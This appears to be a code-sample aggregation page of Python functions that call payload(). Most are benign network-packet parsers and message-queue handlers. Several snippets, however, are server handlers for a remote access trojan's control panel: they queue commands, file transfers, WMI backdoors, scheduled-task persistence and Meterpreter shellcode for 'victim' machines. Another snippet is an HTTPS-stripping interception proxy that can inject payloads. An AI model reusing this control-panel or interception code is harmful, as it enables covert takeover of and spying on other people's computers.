Пример #1
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        """ Define the common RTNetlink message header."""
        family = pcs.Field("family", 8)
        pad1 = pcs.Field("pad1", 8)
        pad2 = pcs.Field("pad2", 16)
        ifindex = pcs.Field("ifindex", 32)
        type = pcs.Field("type", 8)
        len = pcs.Field("len", 8)
        flags = pcs.Field("flags", 8)
        pad3 = pcs.Field("pad3", 8)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, pad1, pad2, ifindex, type, \
                                   len, flags, pad3], \
                            bytes = bytes, **kv)
        self.description = " Define the common RTNetlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #2
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        """ Define the common RTNetlink message header."""
        family = pcs.Field("family", 8)
        dst_len = pcs.Field("dst_len", 8)
        src_len = pcs.Field("src_len", 8)
        tos = pcs.Field("tos", 8)
        table = pcs.Field("table", 8)
        protocol = pcs.Field("protocol", 8)
        scope = pcs.Field("scope", 8)
        type = pcs.Field("type", 8)
        flags = pcs.Field("flags", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, dst_len, src_len, tos, table, \
                                   protocol, scope, type, flags], \
                            bytes = bytes, **kv)
        self.description = " Define the common RTNetlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #3
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        """ Define the common RTNetlink message header."""
        family = pcs.Field("family", 8)
        dst_len = pcs.Field("dst_len", 8)
        src_len = pcs.Field("src_len", 8)
        tos = pcs.Field("tos", 8)
        table = pcs.Field("table", 8)
        protocol = pcs.Field("protocol", 8)
        scope = pcs.Field("scope", 8)
        type = pcs.Field("type", 8)
        flags = pcs.Field("flags", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, dst_len, src_len, tos, table, \
                                   protocol, scope, type, flags], \
                            bytes = bytes, **kv)
        self.description = " Define the common RTNetlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #4
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        """ Define the common rtmsg header; see <net/route.h>. """
        index = pcs.Field("index", 16)
        flags = pcs.Field("flags", 32)
        addrs = pcs.Field("addrs", 32)
        pid = pcs.Field("pid", 32)
        seq = pcs.Field("seq", 32)
        errno = pcs.Field("errno", 32)
        fmask = pcs.Field("fmask", 32)
        inits = pcs.Field("inits", 32)
        # 14 * sizeof(long) on platform; arch-specific.
        #rmx = pcs.Field("rmx", 32)

        pcs.Packet.__init__(self, [index, flags, addrs, pid, seq, errno, \
                                   fmask, inits], bytes = bytes, **kv)
        self.description = " Define the common rtmsg header; see <net/route.h>. "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #5
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        """ Define the common RTNetlink message header."""
        family = pcs.Field("family", 8)
        pad1 = pcs.Field("pad1", 8)
        pad2 = pcs.Field("pad2", 16)
        ifindex = pcs.Field("ifindex", 32)
        type = pcs.Field("type", 8)
        len = pcs.Field("len", 8)
        flags = pcs.Field("flags", 8)
        pad3 = pcs.Field("pad3", 8)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, pad1, pad2, ifindex, type, \
                                   len, flags, pad3], \
                            bytes = bytes, **kv)
        self.description = " Define the common RTNetlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #6
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        """ Define the common rtmsg header; see <net/route.h>. """
        index = pcs.Field("index", 16)
        flags = pcs.Field("flags", 32)
        addrs = pcs.Field("addrs", 32)
        pid = pcs.Field("pid", 32)
        seq = pcs.Field("seq", 32)
        errno = pcs.Field("errno", 32)
        fmask = pcs.Field("fmask", 32)
        inits = pcs.Field("inits", 32)
        # 14 * sizeof(long) on platform; arch-specific.
        #rmx = pcs.Field("rmx", 32)

        pcs.Packet.__init__(self, [index, flags, addrs, pid, seq, errno, \
                                   fmask, inits], bytes = bytes, **kv)
        self.description = " Define the common rtmsg header; see <net/route.h>. "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #7
0
def check():
    for page in pages():
        try:
            url = BASE_URL + page['uri']
            data = requests.get(url)
            status_code = data.status_code

            if 199 < status_code < 300:
                msg = '`{}` page is OK'.format(page['name'])
            else:
                level = get_error_level(status_code)
                json = payload(url=url,
                               page=page['name'],
                               status_code=status_code,
                               level=level)
                requests.post(ALARM_URL, json=json)
                msg = '`{}` page is down. Status code: {}'.format(
                    page['name'], status_code)

            print(msg)

        except Exception as e:
            print(
                'Error occurred during making http request to `{}` page. Exception: {}'
                .format(page['name'], e))
Пример #8
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        family = pcs.Field("family", 8)
        pad00 = pcs.Field("pad00", 8)
        type = pcs.Field("type", 16)
        index = pcs.Field("index", 32)
        flags = pcs.Field("flags", 32)
        change = pcs.Field("change", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, pad00, type, index, flags, change],\
                            bytes = bytes, **kv)
        self.description = "RFC 3549 interface information message."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #9
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        family = pcs.Field("family", 8)
        prefixlen = pcs.Field("pad00", 8)
        flags = pcs.Field("flags", 8)
        scope = pcs.Field("scope", 8)
        index = pcs.Field("index", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, prefixlen, flags, scope, index],\
                            bytes = bytes, **kv)
        self.description = "RFC 3549 interface address message."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #10
0
    def default(self, *route):
        # Get the requested URL from cherrypy
        url = cherrypy.url()
        print "Request received for url: " + url

        # Insert https connection because we are connecting to a https server
        url = str(url).replace("http", "https")

        # Retrieve data from Bob
        r = requests.get(url, verify=False)

        # Log status code and encoding
        print "Request made and returned status code: " +  str(r.status_code)
        print "Response encoding: " + str(r.encoding)

        # If this is not text, then just return the content
        if(str(r.encoding) == "None"):
            return r.content

        # Otherwise, we have text and we need to filter https content
        response = fromHTTPStoHTTP(r, url)

        # Additional payloads can be loaded from an external script, runs the payload() function
        if (args.payload != False):
            print "Own payload loaded from" + str(args.payload)
            import payload
            response = payload.payload(response)

        # Return the (now http) response
        return response.content
Пример #11
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        """ Define the common rtmsg header; see <net/route.h>. """
        msglen = pcs.Field("msglen", 16)
        version = pcs.Field("version", 8, default=RTM_VERSION)
        type = pcs.Field("type", 8, discriminator=True)
        # XXX There's implicit padding all over the shop here.
        pad0 = pcs.Field("type", 16)

        pcs.Packet.__init__(self, [msglen, version, type, pad0], \
                            bytes = bytes, **kv)
        self.description = " Define the common rtmsg header; see <net/route.h>. "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            # XXX Workaround Packet.next() -- it only returns something
            # if it can discriminate.
            # XXX Should try rtmsg next, next.
            offset = self.sizeof()
            self.data = self.next(bytes[offset:len(bytes)],
                                      timestamp = timestamp)
            if self.data is None:
                self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #12
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        family = pcs.Field("family", 8)
        prefixlen = pcs.Field("pad00", 8)
        flags = pcs.Field("flags", 8)
        scope = pcs.Field("scope", 8)
        index = pcs.Field("index", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, prefixlen, flags, scope, index],\
                            bytes = bytes, **kv)
        self.description = "RFC 3549 interface address message."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #13
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        family = pcs.Field("family", 8)
        pad00 = pcs.Field("pad00", 8)
        type = pcs.Field("type", 16)
        index = pcs.Field("index", 32)
        flags = pcs.Field("flags", 32)
        change = pcs.Field("change", 32)
        #tlvs = pcs.OptionListField("tlvs")

        pcs.Packet.__init__(self, [family, pad00, type, index, flags, change],\
                            bytes = bytes, **kv)
        self.description = "RFC 3549 interface information message."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            remaining = len(bytes) - offset
            # TODO demux TLVs.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #14
0
def rat(signature):
    global server
    c = victim.victim()
    a = action.action()
    p = payload.payload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    if request.method == 'GET':
        cl = c.get(signature)
        if not cl:
            return "error"
        c.heartbeat(signature)
        ac = a.gettask(signature)
        if ac:
            exploit = ac['payload']
            pid = ac['pid']

        else:
            exploit = 'aGJlYXQ='
            pid = 'aGJlYXQ='		
        return render_template_string(exploit, server=server, signature=signature, pid=pid)
    else:
        pid = request.args.get('pid')
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, pid):
            return "error"
        data = request.get_data().encode('base64')
        a.setfeedback(pid, data)
        return ''
Пример #15
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        """ Define the common rtmsg header; see <net/route.h>. """
        msglen = pcs.Field("msglen", 16)
        version = pcs.Field("version", 8, default=RTM_VERSION)
        type = pcs.Field("type", 8, discriminator=True)
        # XXX There's implicit padding all over the shop here.
        pad0 = pcs.Field("type", 16)

        pcs.Packet.__init__(self, [msglen, version, type, pad0], \
                            bytes = bytes, **kv)
        self.description = " Define the common rtmsg header; see <net/route.h>. "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            # XXX Workaround Packet.next() -- it only returns something
            # if it can discriminate.
            # XXX Should try rtmsg next, next.
            offset = self.sizeof()
            self.data = self.next(bytes[offset:len(bytes)],
                                  timestamp=timestamp)
            if self.data is None:
                self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #16
0
def setUpload():
    signature = request.form.get("signature").strip()
    filePath = request.form.get("filePath").strip()
    a = action.action()
    p = payload.payload()
    pid = md5(str(time.time()) + config.SECRET_KEY + signature + filePath + str(random.random()))
    exploit = p.upload(filePath)
    a.add(pid, signature, "[upload] " + filePath, exploit)
    return pid
Пример #17
0
def setCmd():
    signature = request.form.get("signature").strip()
    cmd = request.form.get("cmd").strip()
    a = action.action()
    p = payload.payload()
    pid = md5(str(time.time()) + config.SECRET_KEY + signature + cmd + str(random.random()))
    exploit = p.cmd(cmd)
    a.add(pid, signature, "[cmd] " + cmd, exploit)
    return pid
Пример #18
0
def connect():
    global server
    c = victim.victim()
    p = payload.payload()
    signature = md5(str(time.time())+SECRET_KEY+request.remote_addr+str(random.random()))
    if c.get(signature):
        signature = md5(str(time.time())+SECRET_KEY+request.remote_addr)
    c = c.add(signature, request.remote_addr)
    #a = action.action().add(signature, 'init', 'payload', 4) #add init task
    return render_template_string(p.connect(), server=server, signature=signature)
Пример #19
0
def setWmiBackdoor():
    signature = request.form.get('signature').strip()
    a = action.action()
    p = payload.payload()
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature +
        str(random.random()))
    exploit = p.WmiBackdoor()
    a.add(pid, signature, '[WmiBackdoor] launched', exploit)
    return pid
Пример #20
0
def setExec():
    signature = request.form.get('signature').strip()
    cmd = request.form.get('cmd').strip()
    a = action.action()
    p = payload.payload()
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature + cmd +
        str(random.random()))
    exploit = p.run(cmd)
    a.add(pid, signature, '[cmd] ' + cmd, exploit)
    return pid
Пример #21
0
def setWindowsTasks():
    signature = request.form.get('signature').strip()
    t = request.form.get('time').strip()
    a = action.action()
    p = payload.payload()
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature + t +
        str(random.random()))
    exploit = p.WindowsTasks(t)
    a.add(pid, signature, '[WindowsTasks] ' + t, exploit)
    return pid
Пример #22
0
def setUpload():
    signature = request.form.get('signature').strip()
    filePath = request.form.get('filePath').strip()
    a = action.action()
    p = payload.payload()
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature + filePath +
        str(random.random()))
    exploit = p.upload(filePath)
    a.add(pid, signature, '[upload] ' + filePath, exploit)
    return pid
Пример #23
0
 def __init__(self, bytes=None, timestamp=None, **kv):
     address = pcs.Field("address", 6 * 8)
     pcs.Packet.__init__(self, [address], bytes=bytes, **kv)
     self.description = "BSD Routing socket -- IEEE 802.11 leave event"
     if timestamp is None:
         self.timestamp = time.time()
     else:
         self.timestamp = timestamp
     if bytes is not None:
         offset = self.sizeof()
         self.data = payload.payload(bytes[offset:len(bytes)])
     else:
         self.data = None
Пример #24
0
 def __init__(self, bytes = None, timestamp = None, **kv):
     address = pcs.Field("address", 6 * 8)
     pcs.Packet.__init__(self, [address], bytes = bytes, **kv)
     self.description = "BSD Routing socket -- IEEE 802.11 leave event"
     if timestamp is None:
         self.timestamp = time.time()
     else:
         self.timestamp = timestamp
     if bytes is not None:
         offset = self.sizeof()
         self.data = payload.payload(bytes[offset:len(bytes)])
     else:
         self.data = None
Пример #25
0
def setDownload():
    signature = request.form.get("signature").strip()
    originalname = request.form.get("filename").strip()
    savePath = request.form.get("savePath").strip()
    a = action.action()
    p = payload.payload()
    d = download.download()
    filename = d.getbyname(originalname)["filename"]
    originalname = d.getbyname(originalname)["originalname"]
    savePath += "\\" + originalname
    pid = md5(str(time.time()) + config.SECRET_KEY + signature + originalname + savePath + str(random.random()))
    exploit = p.download(filename, savePath)
    a.add(pid, signature, "[download] " + originalname + "(" + filename + ")" + " [savepath] " + savePath, exploit)
    return pid
def callback(ch, method, props, body):
    # print(f" [x] {method.routing_key}:{body}")
    ch.basic_ack(delivery_tag=method.delivery_tag)
    # jo = payload(body)
    # print(f"[x] Received message command = {jo.command}")
    # print(f"[x] Received message payload = {jo.payload}")
    data = payload(body)
    response = process_rpc_command(data)

    # print(f' [y] responded with {response}')

    ch.basic_publish(exchange=exchange_name,
                     routing_key='master.control.response',
                     body=str(data))
Пример #27
0
def callback(ch, method, props, body):
    print(f" [x] {method.routing_key}:{body}")

    # jo = payload(body)
    # print(f"[x] Received message command = {jo.command}")
    # print(f"[x] Received message payload = {jo.payload}")
    data = payload(body)
    response = process_rpc_command(data)

    ch.basic_publish(
        exchange='',
        routing_key='rasp.control.master',
        properties=pika.BasicProperties(correlation_id=props.correlation_id),
        body=str(response))
    ch.basic_ack(delivery_tag=method.delivery_tag)
Пример #28
0
def check():
    global server
    data = unquote(request.get_data())
    #TODO: add data format check
    signature = md5(data + SECRET_KEY)
    c = victim.victim()
    p = payload.payload()
    if not c.get(signature):
        c = c.add(signature, request.remote_addr)
        #添加初始任务
        action.action().add(signature, signature, 'init', p.init(),
                            4)  #add init task
    return render_template_string(p.begin(),
                                  server=server,
                                  signature=signature)
Пример #29
0
def plantMeterpreter0():
    signature = request.form.get('signature').strip()
    ip = request.form.get('ip').strip()
    port = request.form.get('port').strip()
    a = action.action()
    p = payload.payload()
    s = settings.settings()
    s.set('LHOST', ip)
    s.set('LPORT', port)
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature +
        str(random.random()))
    exploit = p.MeterpreterShellcode()
    a.add(pid, signature, '[MeterpreterShellcode] %s:%s' % (ip, port), exploit)
    return pid
Пример #30
0
def setDownload():
    signature = request.form.get('signature').strip()
    originalname = request.form.get('filename').strip()
    savePath = request.form.get('savePath').strip()
    a = action.action()
    p = payload.payload()
    d = download.download()
    filename = d.getbyname(originalname)['filename']
    pid = md5(
        str(time.time()) + config.SECRET_KEY + signature + originalname +
        savePath + str(random.random()))
    exploit = p.download(filename, savePath)
    a.add(
        pid, signature, '[download] ' + originalname + '(' + filename + ')' +
        ' [savepath] ' + savePath, exploit)
    return pid
Пример #31
0
    def on_message(self, _unused_channel, basic_deliver, properties, body):
        """Invoked by pika when a message is delivered from RabbitMQ. The
        channel is passed for your convenience. The basic_deliver object that
        is passed in carries the exchange, routing key, delivery tag and
        a redelivered flag for the message. The properties passed in is an
        instance of BasicProperties with the message properties and the body
        is the message that was sent.
        :param pika.channel.Channel _unused_channel: The channel object
        :param pika.Spec.Basic.Deliver: basic_deliver method
        :param pika.Spec.BasicProperties: properties
        :param bytes body: The message body
        """

        data = payload(body)
        self.command_processor.process_command(data)
        self.acknowledge_message(basic_deliver.delivery_tag)
Пример #32
0
def rat(signature):
    global server
    c = victim.victim()
    a = action.action()
    p = payload.payload()
    pattern = r"^[0-9a-f]{32}$"
    if not re.match(pattern, signature):
        return "error"
    if not c.get(signature):
        return 'error'
    if request.method == 'GET':
        c = victim.victim()
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, signature):
            return 'error'
        if not c.get(signature):
            return 'error'
        c.heartbeat(signature)
        #TODO:添加全局任务

        #查找未完成任务
        ac = a.gettask(signature)

        if ac and signature == ac['pid']:
            a.setfeedback(signature, 'done')
            exploit = ac['payload']
            pid = ac['pid']
        elif ac and ac['repeat'] < 3:
            exploit = ac['payload']
            pid = ac['pid']
            a.addrepeat(pid)
        else:
            exploit = ''
            pid = 'heartbeat'
        return render_template_string(exploit,
                                      server=server,
                                      signature=signature,
                                      pid=pid)
    else:
        pid = request.args.get('pid')
        pattern = r"^[0-9a-f]{32}$"
        if not re.match(pattern, pid):
            return "error"
        data = request.get_data().encode('base64')
        a.setfeedback(pid, data)
        return ''
Пример #33
0
 def __init__(self, bytes=None, timestamp=None, **kv):
     src = pcs.Field("src", 6 * 8)
     dst = pcs.Field("dst", 6 * 8)
     cipher = pcs.Field("cipher", 8)
     keyix = pcs.Field("keyrsc", 64)
     pcs.Packet.__init__(self, [src, dst, cipher, keyix], \
                         bytes = bytes, **kv)
     self.description = "BSD Routing socket -- IEEE 802.11 MICHAEL failure event"
     if timestamp is None:
         self.timestamp = time.time()
     else:
         self.timestamp = timestamp
     if bytes is not None:
         offset = self.sizeof()
         self.data = payload.payload(bytes[offset:len(bytes)])
     else:
         self.data = None
Пример #34
0
 def __init__(self, bytes = None, timestamp = None, **kv):
     src = pcs.Field("src", 6 * 8)
     dst = pcs.Field("dst", 6 * 8)
     cipher = pcs.Field("cipher", 8)
     keyix = pcs.Field("keyrsc", 64)
     pcs.Packet.__init__(self, [src, dst, cipher, keyix], \
                         bytes = bytes, **kv)
     self.description = "BSD Routing socket -- IEEE 802.11 MICHAEL failure event"
     if timestamp is None:
         self.timestamp = time.time()
     else:
         self.timestamp = timestamp
     if bytes is not None:
         offset = self.sizeof()
         self.data = payload.payload(bytes[offset:len(bytes)])
     else:
         self.data = None
Пример #35
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)	# ifa_flags, not much defined
        index = pcs.Field("index", 16)

        pcs.Packet.__init__(self, [addrs, flags, index], bytes = bytes, **kv)
        self.description = "BSD Routing socket -- multicast group message (ifma_msghdr) "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #36
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        error = pcs.Field("error", 32)

        pcs.Packet.__init__(self, [error], bytes=bytes, **kv)
        self.description = "If type is NLMSG_ERROR, original message generating error is returned as payload with error code prepended, just like ICMP."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        # XXX To avoid introducing a circular dependency in this module,
        # the caller is responsible for trying to decode the payload
        # as an nlmsghdr chain.
        if bytes is not None:
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #37
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)  # ifa_flags, not much defined
        index = pcs.Field("index", 16)

        pcs.Packet.__init__(self, [addrs, flags, index], bytes=bytes, **kv)
        self.description = "BSD Routing socket -- multicast group message (ifma_msghdr) "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #38
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        error = pcs.Field("error", 32)

        pcs.Packet.__init__(self, [error], bytes = bytes, **kv)
        self.description = "If type is NLMSG_ERROR, original message generating error is returned as payload with error code prepended, just like ICMP."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        # XXX To avoid introducing a circular dependency in this module,
        # the caller is responsible for trying to decode the payload
        # as an nlmsghdr chain.
        if bytes is not None:
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #39
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        index = pcs.Field("index", 16)
        name = pcs.StringField("name", IFNAMSIZ * 8)
        what = pcs.Field("what", 16, discriminator=True)

        pcs.Packet.__init__(self, [index, name, what], bytes = bytes, **kv)
        self.description = "BSD Routing socket -- IEEE 802.11 state messages (if_announcemsghdr)"

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #40
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        index = pcs.Field("index", 16)
        name = pcs.StringField("name", IFNAMSIZ * 8)
        what = pcs.Field("what", 16, discriminator=True)

        pcs.Packet.__init__(self, [index, name, what], bytes=bytes, **kv)
        self.description = "BSD Routing socket -- IEEE 802.11 state messages (if_announcemsghdr)"

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #41
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        """ Define the common Netlink message header."""
        len = pcs.Field("len", 32)
        type = pcs.Field("type", 16, discriminator=True)
        flags = pcs.Field("flags", 16)
        seq = pcs.Field("seq", 32)
        pid = pcs.Field("pid", 32)	# Port ID

        pcs.Packet.__init__(self, [len, type, flags, seq, pid], \
                            bytes = bytes, **kv)
        self.description = " Define the common Netlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()

            # XXX Check and use the length field.
            remaining = min(len(bytes), self.len) - offset
            if remaining < 0:
                remaining = len(bytes)

            # Only use the external map to look up the payload type
            # if it isn't of a type we know about.
            if self._fieldnames['type'].value == NLMSG_ERROR:
                self.data = nlmsg_error(bytes[offset:remaining], \
                                        timestamp=timestamp)
            elif (self._fieldnames['type'].value != NLMSG_NOOP) and \
                 (self._fieldnames['type'].value != NLMSG_DONE):
                self.data = self.next(bytes[offset:remaining], \
                                      timestamp=timestamp)

            # If we failed to look up a payload type, assume that
            # the payload is opaque.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #42
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        """ Define the common Netlink message header."""
        len = pcs.Field("len", 32)
        type = pcs.Field("type", 16, discriminator=True)
        flags = pcs.Field("flags", 16)
        seq = pcs.Field("seq", 32)
        pid = pcs.Field("pid", 32)  # Port ID

        pcs.Packet.__init__(self, [len, type, flags, seq, pid], \
                            bytes = bytes, **kv)
        self.description = " Define the common Netlink message header."

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()

            # XXX Check and use the length field.
            remaining = min(len(bytes), self.len) - offset
            if remaining < 0:
                remaining = len(bytes)

            # Only use the external map to look up the payload type
            # if it isn't of a type we know about.
            if self._fieldnames['type'].value == NLMSG_ERROR:
                self.data = nlmsg_error(bytes[offset:remaining], \
                                        timestamp=timestamp)
            elif (self._fieldnames['type'].value != NLMSG_NOOP) and \
                 (self._fieldnames['type'].value != NLMSG_DONE):
                self.data = self.next(bytes[offset:remaining], \
                                      timestamp=timestamp)

            # If we failed to look up a payload type, assume that
            # the payload is opaque.
            if self.data is None:
                self.data = payload.payload(bytes[offset:remaining], \
                                            timestamp=timestamp)
        else:
            self.data = None
Пример #43
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)	# ifa_flags, not much defined
        index = pcs.Field("index", 16)
        pad00 = pcs.Field("pad00", 16)		# XXX very likely it's padded
        metric = pcs.Field("metric", 32)

        pcs.Packet.__init__(self, [addrs, flags, index, pad00, metric], \
                            bytes = bytes, **kv)
        self.description = "BSD Routing socket -- protocol address message (ifa_msghdr) "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #44
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)  # ifa_flags, not much defined
        index = pcs.Field("index", 16)
        pad00 = pcs.Field("pad00", 16)  # XXX very likely it's padded
        metric = pcs.Field("metric", 32)

        pcs.Packet.__init__(self, [addrs, flags, index, pad00, metric], \
                            bytes = bytes, **kv)
        self.description = "BSD Routing socket -- protocol address message (ifa_msghdr) "

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #45
0
    def __init__(self, bytes=None, timestamp=None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)
        index = pcs.Field("index", 16)
        pad00 = pcs.Field("pad00", 16)  # XXX very likely it's padded
        # XXX We don't decode if_data yet.
        # Its length (and widths) are arch-dependent!
        data = pcs.Field("data", 152 * 8)

        pcs.Packet.__init__(self, [addrs, flags, index, pad00, ifdata], \
                            bytes = bytes, **kv)
        self.description = "BSD Routing socket -- link-state message (if_msghdr)"

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #46
0
    def __init__(self, bytes = None, timestamp = None, **kv):
        addrs = pcs.Field("addrs", 32)
        flags = pcs.Field("flags", 32)
        index = pcs.Field("index", 16)
        pad00 = pcs.Field("pad00", 16)		# XXX very likely it's padded
        # XXX We don't decode if_data yet.
        # Its length (and widths) are arch-dependent!
        data = pcs.Field("data", 152 * 8)

        pcs.Packet.__init__(self, [addrs, flags, index, pad00, ifdata], \
                            bytes = bytes, **kv)
        self.description = "BSD Routing socket -- link-state message (if_msghdr)"

        if timestamp is None:
            self.timestamp = time.time()
        else:
            self.timestamp = timestamp

        if bytes is not None:
            offset = self.sizeof()
            self.data = payload.payload(bytes[offset:len(bytes)])
        else:
            self.data = None
Пример #47
0
def empty(vehicle):
    """ output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
        This is for a standard Tube and Wing aircraft configuration.        

        Inputs:
            engine - a data dictionary with the fields:                    
                thrust_sls - sea level static thrust of a single engine [Newtons]

            wing - a data dictionary with the fields:
                gross_area - wing gross area [meters**2]
                span - span of the wing [meters]
                taper - taper ratio of the wing [dimensionless]
                t_c - thickness-to-chord ratio of the wing [dimensionless]
                sweep - sweep angle of the wing [radians]
                mac - mean aerodynamic chord of the wing [meters]
                r_c - wing root chord [meters]

            aircraft - a data dictionary with the fields:                    
                Nult - ultimate load of the aircraft [dimensionless]
